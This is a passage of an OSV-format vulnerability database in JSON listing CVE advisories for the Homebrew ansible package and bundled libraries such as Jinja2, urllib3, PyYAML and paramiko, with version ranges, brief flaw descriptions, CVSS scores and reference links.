:"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.2.2"},{"fixed":"2.2.1.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.1","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja2 sandbox escape vulnerability","details":"In Pallets Jinja before 2.8.1, str.format allows a sandbox escape.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-10745"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/9b53045c34e61013dc8f09b7e52a555fa16bed16"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:1022"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:1237"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:1260"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3964"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:4062"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-hj2j-77xm-mc5v"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/jinja2/PYSEC-2019-220.yaml"},{"type":"WEB","url":"https://palletsprojects.com/blog/jinja-281-released"},{"type":"WEB","url":"https://usn.ubuntu.com/4011-1"},{"type":"WEB","url":"https://usn.ubuntu.com/4011-2"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00030.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00064.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2016-3096","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2016-3096","GHSA-rh6x-qvg7-rrmj","PYSEC-2016-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.0.2.0"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"The create_script function in the lxc_container module in Ansible before 1.9.6-1 and 2.x before 2.0.2.0 allows local users to write to arbitrary files or gain privileges via a symlink attack on (1) /opt/.lxc-attach-script, (2) the archived container in the archive_path directory, or the (3) lxc-attach-script.log or (4) lxc-attach-script.err files in the temporary directory.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://groups.google.com/forum/#%21topic/ansible-announce/E80HLZilTU0"},{"type":"WEB","url":"https://groups.google.com/forum/#%21topic/ansible-announce/tqiZbcWxYig"},{"type":"ADVISORY","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-April/183103.html"},{"type":"ADVISORY","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-April/183132.html"},{"type":"ADVISORY","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-April/183252.html"},{"type":"ADVISORY","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-April/183274.html"},{"type":"ADVISORY","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-May/184175.html"},{"type":"ADVISORY","url":"https://github.com/ansible/ansible/blob/v1.9.6-1/CHANGELOG.md#196-dancing-in-the-street---tbd"},{"type":"ADVISORY","url":"https://security.gentoo.org/glsa/201607-14"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1322925"},{"type":"FIX","url":"https://github.com/ansible/ansible-modules-extras/pull/1941"},{"type":"FIX","url":"https://github.com/ansible/ansible-modules-extras/pull/1941/commits/8c6fe646ee79f5e55361b885b7efed5bec72d4a4"},{"type":"FIX","url":"https://github.com/ansible/ansible/blob/v2.0.2.0-1/CHANGELOG.md#202-over-the-hills-and-far-away"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2016-8614","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2016-8614","GHSA-cmwx-9m2h-x7v4","PYSEC-2018-37"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.0.0"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in Ansible before version 2.2.0. The apt_key module does not properly verify key fingerprints, allowing remote adversary to create an OpenPGP key which matches the short key ID and inject this key instead of the correct key.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"}],"references":[{"type":"ADVISORY","url":"http://www.securityfocus.com/bid/94108"},{"type":"ADVISORY","url":"https://github.com/ansible/ansible-modules-core/pull/5353"},{"type":"ADVISORY","url":"https://github.com/ansible/ansible-modules-core/pull/5357"},{"type":"FIX","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-8614"},{"type":"EVIDENCE","url":"https://github.com/ansible/ansible-modules-core/issues/5237"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2016-8628","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2016-8628","GHSA-jg4f-jqm5-4mgq","PYSEC-2018-38"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.0.0"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"Ansible before version 2.2.0 fails to properly sanitize fact variables sent from the Ansible controller. An attacker with the ability to create special variables on the controller could execute arbitrary commands on Ansible clients as the user Ansible runs as.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"http://www.securityfocus.com/bid/94109"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2016:2778"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-8628"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2016-8647","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2016-8647","GHSA-x4cm-m36h-c6qj","PYSEC-2018-58"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.1.0"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"}]},"details":"An input validation vulnerability was found in Ansible's mysql_user module before 2.2.1.0, which may fail to correctly change a password in certain circumstances. Thus the previous password would still be active when it should have been changed.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N"}],"references":[{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2017:1685"},{"type":"ADVISORY","url":"https://github.com/ansible/ansible-modules-core/pull/5388"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-8647"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2016-9015","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:44:09Z","upstream":["GHSA-v4w5-p2hg-8fh6","CVE-2016-9015","PYSEC-2017-98"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.18.1","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"Urllib3 Incorrect Certificate Validation","details":"Versions 1.17 and 1.18 of the Python urllib3 library suffer from a vulnerability that can cause them, in certain configurations, to not correctly validate TLS certificates. This places users of the library with those configurations at risk of man-in-the-middle and information leakage attacks. This vulnerability affects users using versions 1.17 and 1.18 of the urllib3 library, who are using the optional PyOpenSSL support for TLS instead of the regular standard library TLS backend, and who are using OpenSSL 1.1.0 via PyOpenSSL. This is an extremely uncommon configuration, so the security impact of this vulnerability is low.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-9015"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/c32cdbc16a9634fa0f8c829d1270301570158715"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2017-98.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://web.archive.org/web/20210123184150/http://www.securityfocus.com/bid/93941"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2016/10/27/6"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2016-9587","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2016-9587","GHSA-m956-frf4-m2wr","PYSEC-2018-39"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.1.0"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"Ansible before versions 2.1.4, 2.2.1 is vulnerable to an improper input validation in Ansible's handling of data sent from client systems. An attacker with control over a client system being managed by Ansible and the ability to send facts back to the Ansible server could use this flaw to execute arbitrary code on the Ansible server using the Ansible server privileges.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"http://rhn.redhat.com/errata/RHSA-2017-0195.html"},{"type":"ADVISORY","url":"http://rhn.redhat.com/errata/RHSA-2017-0260.html"},{"type":"ADVISORY","url":"http://www.securityfocus.com/bid/95352"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2017:0448"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2017:0515"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2017:1685"},{"type":"ADVISORY","url":"https://security.gentoo.org/glsa/201701-77"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-9587"},{"type":"EVIDENCE","url":"https://www.exploit-db.com/exploits/41013/"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2017-18342","published":"2026-08-13T16:35:22Z","modified":"2026-10-09T02:52:46Z","upstream":["GHSA-rprw-h62v-c2w7","CVE-2017-18342","PYSEC-2018-49"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.2.2"},{"fixed":"2.7.10"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"5.1","resource":"pyyaml","resource_purl":"pkg:pypi/pyyaml@6.0.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyyaml","subject_version":"6.0.3","key":"pkg:pypi/pyyaml@6.0.3","resource":"pyyaml"}]},"summary":"PyYAML insecurely deserializes YAML strings leading to arbitrary code execution","details":"In PyYAML before 5.1, the `yaml.load()` API could execute arbitrary code. In other words, `yaml.safe_load` is not used.\n\nThis was intended to be fixed in 4.1, but due to [breaking changes](https://github.com/yaml/pyyaml/issues/192#issuecomment-401491470), 4.1 was yanked and 5.1 [contains](https://github.com/yaml/pyyaml/issues/207#issuecomment-472520007) the patch for CVE-2017-18342.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-18342"},{"type":"WEB","url":"https://github.com/marshmallow-code/apispec/issues/278"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/issues/193"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/issues/207#issuecomment-472520007"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/pull/74"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/commit/7b68405c81db889f83c32846462b238ccae5be80"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyyaml/PYSEC-2018-49.yaml"},{"type":"PACKAGE","url":"https://github.com/yaml/pyyaml"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/blob/master/CHANGES"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JEX7IPV5P2QJITAMA5Z63GQCZA5I6NVZ"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KSQQMRUQSXBSUXLCRD3TSZYQ7SEZRKCE"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/M6JCFGEIEOFMWWIXGHSELMKQDD4CV2BA"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202003-45"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2017-7466","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["GHSA-3m8p-xpm6-8ww3","CVE-2017-7466","PYSEC-2018-40"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.3.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Arbitrary Code Execution","details":"Ansible before version 2.3 has an input validation vulnerability in the handling of data sent from client systems. An attacker with control over a client system being managed by Ansible, and the ability to send facts back to the Ansible server, could use this flaw to execute arbitrary code on the Ansible server using the Ansible server privileges.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-7466"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/24186"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/0d418789a298561fded9bce977d34babc9097079"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/7ff9fa52cfcef2065f0db80d85dd94b9b754839c"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1244"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1334"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1476"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1499"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1599"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1685"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2017-7466"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-40.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20170701161323/http://www.securityfocus.com/bid/97595"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2017-7481","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2017-7481","GHSA-w578-j992-554x","PYSEC-2018-41"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.4.0.0"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"Ansible before versions 2.3.1.0 and 2.4.0.0 fails to properly mark lookup-plugin results as unsafe. If an attacker could control the results of lookup() calls, they could inject Unicode strings to be parsed by the jinja2 templating system, resulting in code execution. By default, the jinja2 templating language is now marked as 'unsafe' and is not evaluated.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"http://www.securityfocus.com/bid/98492"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2017:1244"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2017:1334"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2017:1476"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2017:1499"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2017:1599"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2017:2524"},{"type":"ADVISORY","url":"https://lists.debian.org/debian-lts-announce/2021/01/msg00023.html"},{"type":"ADVISORY","url":"https://usn.ubuntu.com/4072-1/"},{"type":"FIX","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2017-7481"},{"type":"FIX","url":"https://github.com/ansible/ansible/commit/ed56f51f185a1ffd7ea57130d260098686fcc7c2"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2017-7550","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2017-7550","GHSA-588w-w6mv-3cw5","PYSEC-2017-4"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.4.1.0"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"}]},"details":"A flaw was found in the way Ansible (2.3.x before 2.3.3, and 2.4.x before 2.4.1) passed certain parameters to the jenkins_plugin module. Remote attackers could use this flaw to expose sensitive information from a remote host's logs. This flaw was fixed by not allowing passwords to be specified in the \"params\" argument, and noting this in the module documentation.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"REPORT","url":"https://access.redhat.com/errata/RHSA-2017:2966"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1473645"},{"type":"REPORT","url":"https://github.com/ansible/ansible/issues/30874"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2018-1000805","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:32:40Z","upstream":["GHSA-f2j6-wrhh-v25m","CVE-2018-1000805","PYSEC-2018-69"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.2.2"},{"fixed":"2.7.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.4.2","resource":"paramiko","resource_purl":"pkg:pypi/paramiko@5.1.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"paramiko","subject_version":"5.1.0","key":"pkg:pypi/paramiko@5.1.0","resource":"paramiko"}]},"summary":"Paramiko Authentication Bypass vulnerability","details":"Paramiko version 2.4.1, 2.3.2, 2.2.3, 2.1.5, 2.0.8, 1.18.5, 1.17.6 contains a Incorrect Access Control vulnerability in SSH server that can result in RCE. This attack appear to be exploitable via network connectivity.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-1000805"},{"type":"WEB","url":"https://github.com/paramiko/paramiko/issues/1283"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2018:3497"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3347"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3406"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3505"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-f2j6-wrhh-v25m"},{"type":"PACKAGE","url":"https://github.com/paramiko/paramiko"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/paramiko/PYSEC-2018-69.yaml"},{"type":"WEB","url":"https://herolab.usd.de/wp-content/uploads/sites/4/usd20180023.txt"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2018/10/msg00018.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/12/msg00025.html"},{"type":"WEB","url":"https://usn.ubuntu.com/3796-1"},{"type":"WEB","url":"https://usn.ubuntu.com/3796-2"},{"type":"WEB","url":"https://usn.ubuntu.com/3796-3"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2018-10855","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2018-10855","GHSA-jwcc-j78w-j73w","PYSEC-2018-42"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.5.5"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"Ansible 2.5 prior to 2.5.5, and 2.4 prior to 2.4.5, do not honor the no_log task flag for failed tasks. When the no_log flag 